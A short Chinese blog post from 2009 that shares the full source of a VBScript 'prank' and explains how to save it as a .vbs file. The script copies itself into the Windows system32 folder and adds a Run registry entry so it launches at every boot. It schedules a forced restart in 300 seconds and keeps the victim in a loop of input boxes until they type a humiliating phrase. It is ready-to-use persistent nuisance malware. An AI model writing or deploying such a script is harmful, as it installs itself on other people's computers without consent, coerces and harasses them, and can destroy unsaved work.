恶作剧(不回答问题自动关机)提供源码
2009-01-10 11:22:36| 分类:
My Diary
| 标签:
|举报
|字号大中小 订阅
on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "test.vbs"
Key_data = "C:\windows\system32\test.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""快喊大哥,不喊缪大哥就三百秒钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "大哥")
a = inputbox ("喊大哥,就不关机,快撒,说 ""大哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "就是咯,不说你就出事"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "小弟真乖"
把上面代码另存为test.vbs就好。(建立一个文本,复制进去,然后保存,将格式改为VBS)
评论这张
转发至微博
转发至微博
评论